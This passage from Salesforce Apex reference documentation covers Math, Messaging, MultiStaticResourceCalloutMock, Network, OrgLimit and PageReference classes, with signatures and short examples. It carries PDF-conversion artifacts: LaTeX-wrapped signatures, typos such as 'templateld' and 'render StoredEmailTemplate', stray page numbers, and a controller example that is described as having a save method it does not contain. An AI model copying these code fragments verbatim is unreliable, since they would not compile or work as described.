Type: Double

random()
Returns a positive Double that is greater than or equal to 0.0 and less than 1.0.

Signature
public static Double random()

Return Value
Type: Double

rint(decimalValue)
Returns the value that is closest in value to decimalValue and is equal to a mathematical integer.

Signature
public static Decimal rint(Decimal decimalValue)

Parameters
decimalValue
- Type: Decimal

Return Value
Type: Decimal

rint(doubleValue)
Returns the value that is closest in value to doubleValue and is equal to a mathematical integer.

Signature
public static Double rint(Double doubleValue)
Parameters

doubleValue
  Type: Double

Return Value
Type: Double

**round(doubleValue)**

Do not use. This method is deprecated as of the Winter '08 release. Instead, use Math.roundToLong. Returns the closest Integer to the specified Double. If the result is less than -2,147,483,648 or greater than 2,147,483,647, Apex generates an error.

Signature

```java
public static Integer round(Double doubleValue)
```

Parameters

doubleValue
  Type: Double

Return Value
Type: Integer

**round(decimalValue)**

Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor.

Signature

```java
public static Integer round(Decimal decimalValue)
```

Parameters

decimalValue
  Type: Decimal

Return Value
Type: Integer

Usage

Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.
roundToLong(decimalValue)

Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor.

Signature

public static Long roundToLong(Decimal decimalValue)

Parameters

decimalValue
Type: Decimal

Return Value
Type: Long

Usage

Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.

Example

Decimal d1 = 4.5;
Integer i1 = Math.round(d1);
System.assertEquals(4, i1);

Decimal d2 = 5.5;
Integer i2 = Math.round(d2);
System.assertEquals(6, i2);

roundToLong(doubleValue)

Returns the closest Long to the specified Double.

Signature

public static Long roundToLong(Double doubleValue)
Parameters

doubleValue
  Type: Double

Return Value
  Type: Long

**signum(decimalValue)**
Returns the signum function of the specified Decimal, which is 0 if `decimalValue` is 0, 1.0 if `decimalValue` is greater than 0, -1.0 if `decimalValue` is less than 0.

Signature

```java
public static Decimal signum(Decimal decimalValue)
```

Parameters

decimalValue
  Type: Decimal

Return Value
  Type: Decimal

**signum(doubleValue)**
Returns the signum function of the specified Double, which is 0 if `doubleValue` is 0, 1.0 if `doubleValue` is greater than 0, -1.0 if `doubleValue` is less than 0.

Signature

```java
public static Double signum(Double doubleValue)
```

Parameters

doubleValue
  Type: Double

Return Value
  Type: Double

**sin(decimalAngle)**
Returns the trigonometric sine of the angle specified by `decimalAngle`.

Signature

```java
public static Decimal sin(Decimal decimalAngle)
```
Parameters

decimalAngle
Type: Decimal

Return Value
Type: Decimal

\[ \text{sin}(\text{doubleAngle}) \]
Returns the trigonometric sine of the angle specified by \( \text{doubleAngle} \).

Signature

\[
\text{public static Double sin(Double doubleAngle)}
\]

Parameters

doubleAngle
Type: Double

Return Value
Type: Double

\[ \text{sinh}(\text{decimalAngle}) \]
Returns the hyperbolic sine of \( \text{decimalAngle} \). The hyperbolic sine of \( \text{decimalAngle} \) is defined to be \((e^x - e^{-x})/2\) where \( e \) is Euler's number.

Signature

\[
\text{public static Decimal sinh(Decimal decimalAngle)}
\]

Parameters

decimalAngle
Type: Decimal

Return Value
Type: Decimal

\[ \text{sinh}(\text{doubleAngle}) \]
Returns the hyperbolic sine of \( \text{doubleAngle} \). The hyperbolic sine of \( \text{doubleAngle} \) is defined to be \((e^x - e^{-x})/2\) where \( e \) is Euler's number.

Signature

\[
\text{public static Double sinh(Double doubleAngle)}
\]
**Parameters**

\[\text{doubleAngle}\]
Type: Double

**Return Value**
Type: Double

**sqrt(decimalValue)**
Returns the correctly rounded positive square root of \text{decimalValue}.

**Signature**

\[\text{public static Decimal sqrt(Decimal decimalValue)}\]

**Parameters**

\[\text{decimalValue}\]
Type: Decimal

**Return Value**
Type: Decimal

**sqrt(doubleValue)**
Returns the correctly rounded positive square root of \text{doubleValue}.

**Signature**

\[\text{public static Double sqrt(Double doubleValue)}\]

**Parameters**

\[\text{doubleValue}\]
Type: Double

**Return Value**
Type: Double

**tan(decimalAngle)**
Returns the trigonometric tangent of the angle specified by \text{decimalAngle}.

**Signature**

\[\text{public static Decimal tan(Decimal decimalAngle)}\]
Parameters

**decimalAngle**
Type: Decimal

Return Value
Type: Decimal

**tan(doubleAngle)**
Returns the trigonometric tangent of the angle specified by `doubleAngle`.

Signature

```java
public static Double tan(Double doubleAngle)
```

Parameters

**doubleAngle**
Type: Double

Return Value
Type: Double

**tanh(decimalAngle)**
Returns the hyperbolic tangent of `decimalAngle`. The hyperbolic tangent of `decimalAngle` is defined to be 
\[ \frac{e^x - e^{-x}}{e^x + e^{-x}} \]
where \( e \) is Euler’s number. In other words, it is equivalent to \( \frac{\sinh(x)}{\cosh(x)} \). The absolute value of the exact `tanh` is always less than 1.

Signature

```java
public static Decimal tanh(Decimal decimalAngle)
```

Parameters

**decimalAngle**
Type: Decimal

Return Value
Type: Decimal

**tanh(doubleAngle)**
Returns the hyperbolic tangent of `doubleAngle`. The hyperbolic tangent of `doubleAngle` is defined to be 
\[ \frac{e^x - e^{-x}}{e^x + e^{-x}} \]
where \( e \) is Euler’s number. In other words, it is equivalent to \( \frac{\sinh(x)}{\cosh(x)} \). The absolute value of the exact `tanh` is always less than 1.
Signature

```java
public static Double tanh(Double doubleAngle)
```

Parameters

doubleAngle
- Type: Double

Return Value
- Type: Double

**Messaging Class**
Contains messaging methods used when sending a single or mass email.

**Namespace**
System

**Messaging Methods**
The following are methods for Messaging. All are instance methods.

**IN THIS SECTION:**

- `extractInboundEmail(source, includeForwardedAttachments)`
  Use this method in your email service code to control how to parse and process forwarded or attached emails. Returns an instance of `Messaging.InboundEmail` from a stream of data that is in RFC822 format. The data stream can be a forwarded email in an attachment to an existing InboundEmail, or a stream from another source.

- `reserveMassEmailCapacity(amountReserved)`
  Reserves email capacity to send mass email to the specified number of email addresses, after the current transaction commits.

- `reserveSingleEmailCapacity(amountReserved)`
  Reserves email capacity to send single email to the specified number of email addresses, after the current transaction commits.

- `sendEmail(emails, allOrNothing)`
  Sends the list of emails instantiated with either `SingleEmailMessage` or `MassEmailMessage` and returns a list of `SendEmailResult` objects. When org preferences are set to save EmailMessage objects and a trigger is defined for EmailMessage objects, the trigger is fired for each `SingleEmailMessage` individually. Each Apex invocation can include 10 total calls to the `sendEmail` method.

- `sendEmailMessage(emailMessageIds, allOrNothing)`
  Sends draft email messages as defined by the specified email message IDs and returns a list of `SendEmailResult` objects.

- `renderEmailTemplate(whoid, whatId, bodies)`
  Replaces merge fields in text bodies of email templates with values from Salesforce records. Returns an array of `RenderEmailTemplateBodyResult` objects, each of which corresponds to an element in the supplied array of text bodies. Each `RenderEmailTemplateBodyResult` provides a success or failure indication, along with either an error code or the rendered text.
renderStoredEmailTemplate(templateld, whoId, whatId)
Renders a text, custom, HTML, or Visualforce email template that exists in the database into an instance of Messaging.SingleEmailMessage. Includes all attachment content in the returned email message.

renderStoredEmailTemplate(templateld, whoId, whatId, attachmentRetrievalOption)
Renders a text, custom, HTML, or Visualforce email template that exists in the database into an instance of Messaging.SingleEmailMessage. Provides options for including attachment metadata only, attachment metadata and content, or excluding attachments.

renderStoredEmailTemplate(templateld, whoId, whatId, attachmentRetrievalOption, updateEmailTemplateUsage)
Renders a text, custom, HTML, or Visualforce email template that exists in the database into an instance of Messaging.SingleEmailMessage. Provides options for including attachment metadata only, attachment metadata and content, or excluding attachments.

extractInboundEmail(source, includeForwardedAttachments)
Use this method in your email service code to control how to parse and process forwarded or attached emails. Returns an instance of Messaging.InboundEmail from a stream of data that is in RFC822 format. The data stream can be a forwarded email in an attachment to an existing InboundEmail, or a stream from another source.

Signature

public static Messaging.InboundEmail extractInboundEmail(Object source, Boolean includeForwardedAttachments)

Parameters

source
Type: Object
An instance of Messaging.InboundEmail.BinaryAttachment whose MimeTypeSubtype is message/rfc822 or a Blob. If source is a Blob, then supply a byte array in RFC822 format.

includeForwardedAttachments
Type: Boolean
This parameter controls how attachments to embedded or forwarded emails are handled. Set to true to provide all attachments, even attachments in embedded emails in the binaryAttachments and textAttachments properties of the returned value. Set to false to provide only the attachments that are at the top level of the source email.

Return Value
Type: Messaging.InboundEmail

reserveMassEmailCapacity(amountReserved)
Reserves email capacity to send mass email to the specified number of email addresses, after the current transaction commits.

Signature

public Void reserveMassEmailCapacity(Integer amountReserved)
Parameters

`amountReserved`
Type: `Integer`

Return Value
Type: Void

Usage
This method can be called when you know in advance how many addresses emails will be sent to as a result of the transaction. If the transaction would cause the organization to exceed its daily email limit, using this method results in the following error:

`System.HandledException`: The daily limit for the org would be exceeded by this request. If the organization doesn’t have permission to send API or mass email, using this method results in the following error:

`System.NoAccessException`: The organization is not permitted to send email.

**reserveSingleEmailCapacity (amountReserved)**

Reserves email capacity to send single email to the specified number of email addresses, after the current transaction commits.

**Signature**

```java
public Void reserveSingleEmailCapacity(Integer amountReserved)
```

Parameters

`amountReserved`
Type: `Integer`

Return Value
Type: Void

Usage
This method can be called when you know in advance how many addresses emails will be sent to as a result of the transaction. If the transaction would cause the organization to exceed its daily email limit, using this method results in the following error:

`System.HandledException`: The daily limit for the org would be exceeded by this request. If the organization doesn’t have permission to send API or mass email, using this method results in the following error:

`System.NoAccessException`: The organization is not permitted to send email.

**sendEmail(emails, allOrNothing)**

Sends the list of emails instantiated with either SingleEmailMessage or MassEmailMessage and returns a list of SendEmailResult objects. When org preferences are set to save EmailMessage objects and a trigger is defined for EmailMessage objects, the trigger is fired for each SingleEmailMessage individually. Each Apex invocation can include 10 total calls to the `sendEmail` method.
Signature

```java
public Messaging.SendEmailResult[] sendEmail(Messaging.Email[] emails, Boolean allOrNothing)
```

Parameters

- `emails`  
  Type: `Messaging.Email[]`
- `allOrNothing`  
  Type: `Boolean`

The optional `opt_allOrNone` parameter specifies whether `sendEmail` prevents delivery of all other messages when any of the messages fail due to an error (`true`), or whether it allows delivery of the messages that don't have errors (`false`). The default is `true`.

Return Value

Type: `Messaging.SendEmailResult[]`

### sendEmailMessage(emailMessageIds, allOrNothing)

Sends draft email messages as defined by the specified email message IDs and returns a list of `SendEmailResult` objects.

Signature

```java
public Messaging.SendEmailResult[] sendEmailMessage(List<ID> emailMessageIds, Boolean allOrNothing)
```

Parameters

- `emailMessageIds`  
  Type: `List<ID>`
- `allOrNothing`  
  Type: `Boolean`

Return Value

Type: `Messaging.SendEmailResult[]`

Usage

The `sendEmailMessage` method assumes that the optional `opt_allOrNone` parameter is always `false` and ignores the value you set. This optional parameter specifies whether `sendEmailMessage` prevents delivery of all other messages when any of the messages fail due to an error (`true`), or whether it allows delivery of the messages that don't have errors (`false`).
Example

This example shows how to send a draft email message. It creates a case and a new email message associated with the case. Next, the example sends a draft email message and checks the results. Before running this example, make sure to replace the email address with a valid address.

```
Case c = new Case();
insert c;

EmailMessage e = new EmailMessage();
e.parentid = c.id;
// Set to draft status.
// This status is required
// for sendEmailMessage().
e.Status = '5';
e.TextBody = 'Sample email message.';
e.Subject = 'Apex sample';
e.ToAddress = 'customer@email.com';
insert e;

List<Messaging.SendEmailResult> results =
    Messaging.sendEmailMessage(new ID[]
    { e.id });

System.assertEquals(1, results.size());
System.assertEquals(true,
    results[0].success);
```

`renderEmailTemplate(whoId, whatId, bodies)`

Replaces merge fields in text bodies of email templates with values from Salesforce records. Returns an array of `RenderEmailTemplateBodyResult` objects, each of which corresponds to an element in the supplied array of text bodies. Each `RenderEmailTemplateBodyResult` provides a success or failure indication, along with either an error code or the rendered text.

Signature

```
public static List<Messaging.RenderEmailTemplateBodyResult> renderEmailTemplate(String whoId, String whatId, List<String> bodies)
```

Parameters

`whoId`
Type: `String`
The identifier of an object in the database, typically a contact, lead, or user. The database record for that object is read and used in merge field processing.

`whatId`
Type: `String`
Identifies an object in the database like an account or opportunity. The record for that object is read and used in merge field processing.
**bodies**

Type: List<String>

An array of strings that are examined for merge field references. The corresponding data from the object referenced by the whoId or whatId replaces the merge field reference.

Return Value

Type: List<Messaging.RenderEmailTemplateBodyResult>

Usage

Use this method in situations in which you want to dynamically compose blocks of text that are enriched with data from the database. You can then use the rendered blocks of text to compose and send an email or update a text value in another database record.

Executing the `renderEmailTemplate` method counts toward the SOQL governor limit. The number of SOQL queries that this method consumes is the number of elements in the list of strings passed in the `bodies` parameter.

SEE ALSO:

Execution Governors and Limits

**renderStoredEmailTemplate(templateId, whoId, whatId)**

Renders a text, custom, HTML, or Visualforce email template that exists in the database into an instance of `Messaging.SingleEmailMessage`. Includes all attachment content in the returned email message.

Signature

```java
public static Messaging.SingleEmailMessage renderStoredEmailTemplate(String templateId, String whoId, String whatId)
```

Parameters

**templateId**

Type: String

An email template that exists in the database, such as text, HTML, custom, and Visualforce templates.

**whoId**

Type: String

The identifier of an object in the database, typically a contact, lead, or user. The database record for that object is read and used in merge field processing.

**whatId**

Type: String

Identifies an object in the database, like an account or opportunity. The record for that object is read and used in merge field processing.

Return Value

Type: `Messaging.SingleEmailMessage`
Usage

Executing the `renderStoredEmailTemplate` method counts toward the SOQL governor limit as one query.

SEE ALSO:

Execution Governors and Limits

`renderStoredEmailTemplate(templateId, whoId, whatId, attachmentRetrievalOption)`

Renders a text, custom, HTML, or Visualforce email template that exists in the database into an instance of `Messaging.SingleEmailMessage`. Provides options for including attachment metadata only, attachment metadata and content, or excluding attachments.

Signature

```java
public static Messaging.SingleEmailMessage render StoredEmailTemplate(String templateId, String whoId, String whatId, Messaging.AttachmentRetrievalOption attachmentRetrievalOption)
```

Parameters

`templateId`

Type: `String`

An email template that exists in the database, such as text, HTML, custom, and Visualforce templates.

`whoId`

Type: `String`

The identifier of an object in the database, typically a contact, lead, or user. The database record for that object is read and used in merge field processing.

`whatId`

Type: `String`

Identifies an object in the database, like an account or opportunity. The record for that object is read and used in merge field processing.

`attachmentRetrievalOption`

Type: `Messaging.AttachmentRetrievalOption`

Specifies options for including attachments in the `fileAttachments` property of the returned `Messaging.SingleEmailMessage`. Set to one of the `Messaging.AttachmentRetrievalOption` values to include attachment metadata only, attachment metadata and content, or to exclude attachments.

Note: When the `attachmentRetrievalOption` parameter is not set to NONE, the `entityAttachments` property of `Messaging.SingleEmailMessage` contains the ID of the Salesforce content objects to attach (ContentVersion or Document). The `fileAttachments` property contains the IDs of attachments, in addition to all the IDs in the `entityAttachments` property. As a result, the ID values in `entityAttachments` are duplicates of the IDs in the `fileAttachments` property. If you call `renderStoredEmailTemplate()` by passing the `METADATA_WITH_BODY` option, and send the rendered email message, the email will contain duplicate attachments. Before using the returned email message with `sendEmail(emails, allOrNothing)`, you can remove attachments from `fileAttachments` that are duplicated in `entityAttachments`.

3330
Return Value

Type: Messaging.SingleEmailMessage

Usage

Executing the renderStoredEmailTemplate method counts toward the SOQL governor limit as one query.

```
renderStoredEmailTemplate(templateId, whoId, whatId, attachmentRetrievalOption, updateEmailTemplateUsage)
```

Renders a text, custom, HTML, or Visualforce email template that exists in the database into an instance of Messaging.SingleEmailMessage. Provides options for including attachment metadata only, attachment metadata and content, or excluding attachments.

Signature

```
public static Messaging.SingleEmailMessage renderStoredEmailTemplate(String templateId, String whoId, String whatId, Messaging.AttachmentRetrievalOption attachmentRetrievalOption, Boolean updateEmailTemplateUsage)
```

Parameters

**templateId**
Type: String

An email template that exists in the database, such as text, HTML, custom, and Visualforce templates.

**whoId**
Type: String

The identifier of an object in the database, typically a contact, lead, or user. The database record for that object is read and used in merge field processing.

**whatId**
Type: String

Identifies an object in the database, like an account or opportunity. The record for that object is read and used in merge field processing.

**attachmentRetrievalOption**
Type: Messaging.AttachmentRetrievalOption

Specifies options for including attachments in the fileAttachments property of the returned Messaging.SingleEmailMessage. Set to one of the Messaging.AttachmentRetrievalOption values to include attachment metadata only, attachment metadata and content, or to exclude attachments.

Note: When the attachmentRetrievalOption parameter is not set to NONE, the entityAttachments property of Messaging.SingleEmailMessage contains the ID of the Salesforce content objects to attach (ContentView or Document). The fileAttachments property contains the IDs of attachments, in addition to all the IDs in the entityAttachments property. As a result, the ID values in entityAttachments are duplicates of the IDs in the fileAttachments property. If you call renderStoredEmailTemplate() by passing the METADATA_WITH_BODY option, and send the rendered email message, the email will contain duplicate attachments. Before using the returned email message with sendEmail(emails, allOrNothing), you can remove attachments from fileAttachments that are duplicated in entityAttachments.
**updateEmailTemplateUsage**

Type: Boolean

Specifies whether the usage field in the EmailTemplate record is updated upon successful rendering.

**Return Value**

Type: Messaging.SingleEmailMessage

**Usage**

Executing the `renderStoredEmailTemplate` method counts toward the SOQL governor limit as one query.

---

**MultiStaticResourceCalloutMock Class**

Utility class used to specify a fake response using multiple resources for testing HTTP callouts.

**Namespace**

System

**Usage**

Use the methods in this class to set the response properties for testing HTTP callouts. You can specify a resource for each endpoint.

---

**MultiStaticResourceCalloutMock Constructors**

The following are constructors for MultiStaticResourceCalloutMock.

---

**MultiStaticResourceCalloutMock()**

Creates a new instance of the System.MultiStaticResourceCalloutMock class.

---

**MultiStaticResourceCalloutMock Methods**

The following are methods for MultiStaticResourceCalloutMock. All are instance methods.
IN THIS SECTION:

- `setHeader(headerName, headerValue)`
  Sets the specified header name and value for the fake response.
- `setStaticResource(endpoint, resourceName)`
  Sets the specified static resource corresponding to the endpoint. The static resource contains the response body.
- `setStatus(httpStatus)`
  Sets the specified HTTP status for the response.
- `setStatusCode(httpStatusCode)`
  Sets the specified HTTP status code for the response.

**setHeader(headerName, headerValue)**

Sets the specified header name and value for the fake response.

Signature

```java
public Void setHeader(String headerName, String headerValue)
```

Parameters

- `headerName`
  Type: `String`
- `headerValue`
  Type: `String`

Return Value

Type: `Void`

**setStaticResource(endpoint, resourceName)**

Sets the specified static resource corresponding to the endpoint. The static resource contains the response body.

Signature

```java
public Void setStaticResource(String endpoint, String resourceName)
```

Parameters

- `endpoint`
  Type: `String`
- `resourceName`
  Type: `String`

Return Value

Type: `Void`
**setStatus(httpStatus)**
Sets the specified HTTP status for the response.

Signature

```java
public Void setStatus(String httpStatus)
```

Parameters

- `httpStatus`
  - Type: `String`

Return Value

Type: Void

**setStatusCode(httpStatusCode)**
Sets the specified HTTP status code for the response.

Signature

```java
public Void setStatusCode(Integer httpStatusCode)
```

Parameters

- `httpStatusCode`
  - Type: `Integer`

Return Value

Type: Void

**Network Class**

Represents an Experience Cloud site.

**Namespace**

`System`

**Usage**

Use the method in the `Network` class to determine which Experience Cloud site a user is currently logged into.

**IN THIS SECTION:**

- Network Constructors
- Network Methods
Network Constructors

The following are constructors for Network.

IN THIS SECTION:

Network()
Creates a new instance of the System.Network class.

Network()
Creates a new instance of the System.Network class.

Signature

public Network()

Network Methods

The following are methods for Network. All methods are static.

IN THIS SECTION:

communitiesLanding()
Returns a Page Reference to the default landing page for the Experience Cloud site. This is the first tab of the site.

forwardToAuthPage(startURL)
Returns a Page Reference to the default login page. StartURL is included as a query parameter for where to redirect after a successful login.

getLoginUrl(networkId)
Returns the absolute URL of the login page used by the Experience Cloud site.

getLogoutUrl(networkId)
Returns the absolute URL of the logout page used by the Experience Cloud site.

getNetworkId()
Returns the user’s current Experience Cloud site.

getSelfRegUrl(networkId)
Returns the absolute URL of the self-registration page used by the Experience Cloud site.

loadAllPackageDefaultNetworkDashboardSettings()
Maps the dashboards from the Salesforce Communities Management package onto each Experience Cloud site’s unconfigured dashboard settings. Returns the number of settings it configures.

loadAllPackageDefaultNetworkPulseSettings()
Maps the Insights reports from the Salesforce Communities Management package onto each Experience Cloud site’s unconfigured Insights settings. Returns the number of settings it configures.

communitiesLanding()
Returns a Page Reference to the default landing page for the Experience Cloud site. This is the first tab of the site.
Signature

\[
\text{public static String communitiesLanding()}
\]

Return Value
Type: PageReference

Usage
If digital experiences isn’t enabled for the user’s org or the user is currently in the internal org, returns null.

**forwardToAuthPage(startURL)**

Returns a Page Reference to the default login page. StartURL is included as a query parameter for where to redirect after a successful login.

Signature

\[
\text{public static PageReference forwardToAuthPage(String startURL)}
\]

Parameters

\[\text{startURL}\]
Type: String

Return Value
Type: PageReference

Usage
If digital experiences isn’t enabled for the user’s org or the user is currently in the internal org, returns null.

**getLoginUrl(networkId)**

Returns the absolute URL of the login page used by the Experience Cloud site.

Signature

\[
\text{public static String getLoginUrl(String networkId)}
\]

Parameters

\[\text{networkId}\]
Type: String

The ID of the Experience Cloud site you’re retrieving this information for.

Return Value
Type: String
Usage

Returns the full URL for the Lightning Platform or Experience Builder page used as the login page in the Experience Cloud site.

**getLogoutUrl(networkId)**

Returns the absolute URL of the logout page used by the Experience Cloud site.

Signature

```
public static String getLogoutUrl(String networkId)
```

Parameters

- **networkId**
  - Type: `String`
  - The ID of the Experience Cloud site you're retrieving this information for.

Return Value

Type: `String`

Usage

Returns the full URL for the Lightning Platform page, Experience Builder page, or Web page used as the logout page in the Experience Cloud site.

**getNetworkId()**

Returns the user’s current Experience Cloud site.

Signature

```
public static String getNetworkId()
```

Return Value

Type: `String`

Usage

If digital experiences isn't enabled for the user’s org or the user is currently in the internal org, returns `null`.

**getSelfRegUrl(networkId)**

Returns the absolute URL of the self-registration page used by the Experience Cloud site.

Signature

```
public static String getSelfRegUrl(String networkId)
```

3337
Parameters

networkId
Type: String

The ID of the Experience Cloud site you’re retrieving this information for.

Return Value
Type: String

Usage
Returns the full URL for the Lightning Platform or Experience Builder page used as the self-registration page in the Experience Cloud site.

loadAllPackageDefaultNetworkDashboardSettings ()
Maps the dashboards from the Salesforce Communities Management package onto each Experience Cloud site’s unconfigured dashboard settings. Returns the number of settings it configures.

Signature

public static Integer loadAllPackageDefaultNetworkDashboardSettings ()

Return Value
Type: Integer

Usage
If digital experiences is enabled, and the Salesforce Communities Management package is installed, maps the dashboards provided in the package onto each Experience Cloud site’s unconfigured dashboard settings. Returns the number of settings it configures. This method is invoked automatically during site creation and package installation, but isn’t typically invoked manually.

If digital experiences isn’t enabled for the user’s org or the user is in the internal org, returns 0.

loadAllPackageDefaultNetworkPulseSettings ()
Maps the Insights reports from the Salesforce Communities Management package onto each Experience Cloud site’s unconfigured Insights settings. Returns the number of settings it configures.

Signature

public static Integer loadAllPackageDefaultNetworkPulseSettings ()

Return Value
Type: Integer
Usage

If digital experiences is enabled, and the Salesforce Communities Management package is installed, maps the Insights reports provided in the package onto each Experience Cloud site’s unconfigured Insights settings. Returns the number of settings it configures. This method is invoked automatically during site creation and package installation, but isn’t typically invoked manually.

If digital experiences isn’t enabled for the user’s org or the user is in the internal org, returns 0.

OrgLimit Class

Contains methods that provide the name, maximum value, and current value of an org limit.

Namespace

System

Usage

Use the System.OrgLimits getAll and getMap methods to obtain either a list or a map of all your org limits. To get details on each limit, use instance methods from System.OrgLimit.

For comparison, the Limits Class returns Apex governor limits and not Salesforce API limits.

IN THIS SECTION:

OrgLimit Methods

OrgLimit Methods

The following are methods for OrgLimit.

IN THIS SECTION:

getLimit()

Returns the maximum allowed limit value.

getName()

Returns the limit’s name.

getValue()

Returns the limit usage value.

getLimit()

Returns the maximum allowed limit value.

Signature

public Integer getLimit()

Return Value

Type: Integer
**Example**

```java
List<System.OrgLimit> limits = OrgLimits.getAll();
for (System.OrgLimit aLimit: limits) {
    System.debug('Limit: ' + aLimit.getName());
    System.debug('Max Limit is: ' + aLimit.getLimit());
}
```

**getName()**

Returns the limit’s name.

**Signature**

```java
public String getName()
```

**Return Value**

Type: `String`

**Example**

```java
List<System.OrgLimit> limits = OrgLimits.getAll();
for (System.OrgLimit aLimit: limits) {
    System.debug('Limit: ' + aLimit.getName());
    System.debug('Max Limit is: ' + aLimit.getLimit());
}
```

**getValue()**

Returns the limit usage value.

**Signature**

```java
public Integer getValue()
```

**Return Value**

Type: `Integer`

**Example**

```java
List<System.OrgLimit> limits = OrgLimits.getAll();
for (System.OrgLimit aLimit: limits) {
    System.debug('Limit: ' + aLimit.getName());
    System.debug('Max Limit is: ' + aLimit.getLimit());
}
```
**OrgLimits Class**

Contains methods that provide a list or map of all OrgLimit instances for Salesforce your org, such as SOAP API requests, Bulk API requests, and Streaming API limits.

**Namespace**

`System`

**Usage**

Use the `System.OrgLimits` `getAll` and `getMap` methods to obtain either a list or a map of all your org limits. To get details on each limit, use instance methods from `System.OrgLimit`.

For comparison, the `Limits Class` returns Apex governor limits and not Salesforce API limits.

**IN THIS SECTION:**

- OrgLimits Methods

**OrgLimits Methods**

The following are methods for OrgLimits.

**IN THIS SECTION:**

- `getAll`
- `getMap`

- `getAll()`
  
  Returns a list of OrgLimit instances.

  **Signature**

  ```java
  public static List<System.OrgLimit> getAll()
  ```

  **Return Value**

  Type: `List<System.OrgLimit>`

- `getMap()`
  
  Returns a map of all OrgLimit instances with the limit name as key.

  **Signature**

  ```java
  public static Map<String, System.OrgLimit> getMap()
  ```
Return Value
Type: Map<String,System.OrgLimit>

Example

```
Map<String,System.OrgLimit> limitsMap = OrgLimits.getMap();
System.OrgLimit apiRequestsLimit = limitsMap.get('DailyApiRequests');
System.debug('Limit Name: ' + apiRequestsLimit.getName());
System.debug('Usage Value: ' + apiRequestsLimit.getValue());
System.debug('Maximum Limit: ' + apiRequestsLimit.getLimit());
```

PageReference Class

A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of query parameter names and values.

Namespace

System

Use a PageReference object:

- To view or set query string parameters and values for a page
- To navigate the user to a different page as the result of an action method

Instantiation

In a custom controller or controller extension, you can refer to or instantiate a PageReference in one of the following ways:
**Page.** *existingPageName*

Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page in this way, the platform recognizes that this controller or controller extension is dependent on the existence of the specified page and will prevent the page from being deleted while the controller or extension exists.

```java
PageReference pageRef = new PageReference('partialURL');
```

Creates a PageReference to any page that is hosted on the Lightning platform. For example, setting 'partialURL' to '/apex/HelloWorld' refers to the Visualforce page located at http://mySalesforceInstance/apex/HelloWorld. Likewise, setting 'partialURL' to '/' + 'recordID' refers to the detail page for the specified record.

This syntax is less preferable for referencing other Visualforce pages than Page. *existingPageName* because the PageReference is constructed at runtime, rather than referenced at compile time. Runtime references are not available to the referential integrity system. Consequently, the platform doesn’t recognize that this controller or controller extension is dependent on the existence of the specified page and won’t issue an error message to prevent user deletion of the page.

```java
PageReference pageRef = new PageReference('fullURL');
```

Creates a PageReference for an external URL. For example:

```java
PageReference pageRef = new PageReference('http://www.google.com');
```

You can also instantiate a PageReference object for the current page with the currentPage ApexPages method. For example:

```java
PageReference pageRef = ApexPages.currentPage();
```

### Request Headers

The following table is a non-exhaustive list of headers that are set on requests.

<table>
<thead>
<tr>
<th>Header</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Host</strong></td>
<td>The host name requested in the request URL. This header is always set on Lightning Platform Site requests and My Domain requests. This header is optional on other requests when HTTP/1.0 is used instead of HTTP/1.1.</td>
</tr>
<tr>
<td><strong>Referer</strong></td>
<td>The URL that is either included or linked to the current request’s URL. This header is optional.</td>
</tr>
<tr>
<td><strong>User-Agent</strong></td>
<td>The name, version, and extension support of the program that initiated this request, such as a web browser. This header is optional and can be overridden in most browsers to be a different value. Therefore, this header should not be relied upon.</td>
</tr>
<tr>
<td><strong>CipherSuite</strong></td>
<td>If this header exists and has a non-blank value, this means that the request is using HTTPS. Otherwise, the request is using HTTP. The contents of a non-blank value are not defined by this API, and can be changed without notice.</td>
</tr>
<tr>
<td><strong>X-Salesforce-SIP</strong></td>
<td>The source IP address of the request. This header is always set on HTTP and HTTPS requests that are initiated outside of Salesforce’s data centers.</td>
</tr>
</tbody>
</table>

**Note:** If a request passes through a content delivery network (CDN) or proxy server, the source IP address might be altered, and no longer the original client IP address.
<table>
<thead>
<tr>
<th>Header</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>X-Salesforce-Forwarded-To</td>
<td>The fully qualified domain name of the Salesforce instance that is handling this request. This header is always set on HTTP and HTTPS requests that are initiated outside of Salesforce's data centers.</td>
</tr>
</tbody>
</table>

**Example: Retrieving Query String Parameters**

The following example shows how to use a PageReference object to retrieve a query string parameter in the current page URL. In this example, the getAccount method references the id query string parameter:

```java
public class MyController {
    public Account getAccount() {
        return [SELECT Id, Name FROM Account
                 WHERE Id = :ApexPages.currentPage().getParameters().get('Id')];
    }
}
```

The following page markup calls the getAccount method from the controller above:

```xml
<apex:page controller="MyController">
    <apex:pageBlock title="Retrieving Query String Parameters">
        You are viewing the {!account.name} account.
    </apex:pageBlock>
</apex:page>
```

**Note:** For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be:

```text
https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53
```

The getAccount method uses an embedded SOQL query to return the account specified by the id parameter in the URL of the page. To access id, the getAccount method uses the ApexPages namespace:

- First the currentPage method returns the PageReference instance for the current page. PageReference returns a reference to a Visualforce page, including its query string parameters.
- Using the page reference, use the getParameters method to return a map of the specified query string parameter names and values.
- Then a call to the get method specifying id returns the value of the id parameter itself.

**Example: Navigating to a New Page as the Result of an Action Method**

Any action method in a custom controller or controller extension can return a PageReference object as the result of the method. If the redirect attribute on the PageReference is set to true, the user navigates to the URL specified by the PageReference.

The following example shows how this can be implemented with a save method. In this example, the PageReference returned by the save method redirects the user to the detail page for the account record that was just saved:

```java
public class mySecondController {
    Account account;

    public Account getAccount() {
        if(account == null) account = new Account();
        return account;
    }
}
```
The following page markup calls the `save` method from the controller above. When a user clicks **Save**, he or she is redirected to the detail page for the account just created:

```xml
<apex:page controller="mySecondController" tabStyle="Account">
    <apex:sectionHeader title="New Account Edit Page" />
    <apex:form>
        <apex:pageBlock title="Create a New Account">
            <apex:pageBlockButtons location="bottom">
                <apex:commandButton action="{!save}" value="Save"/>
